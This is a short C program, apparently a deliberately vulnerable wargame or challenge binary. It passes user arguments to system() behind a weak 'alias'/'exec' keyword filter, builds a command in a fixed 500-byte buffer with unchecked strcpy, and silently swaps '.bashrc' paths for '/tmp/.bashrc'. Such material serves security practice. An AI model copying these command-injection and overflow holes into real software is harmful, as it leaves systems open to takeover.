39 lines
957 B
C
39 lines
957 B
C
#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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int main (int argc, char **argv) {
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//printf("argc = %d", argc);
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if (argc < 2) {
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printf("Error: at least one argument is required\n");
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return 1;
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}
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// check for alias or exec
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if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
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printf("There is nothing to see here, beggar off...\n");
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return 0;
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}
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// Handle only the command
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if (argc == 2) {
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system(argv[1]);
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return 0;
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}
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char *rep_file = "/tmp/.bashrc";
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char command[500] = {'\0'};
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strcpy(command, "/bin/"); // Prefix of the command
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// We filter any .bashrc and replace it by our own
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for (int i=1; i<argc; i++) {
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if (strstr(argv[i], ".bashrc") != NULL){
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strcpy(command + strlen(command), rep_file); // replace by our copy
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}
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else{
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strcpy(command + strlen(command), argv[i]); // let the original
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}
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command[strlen(command)] = ' ';
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}
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// printf("Launching: %s\n", command);
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system(command);
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return 0;
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}
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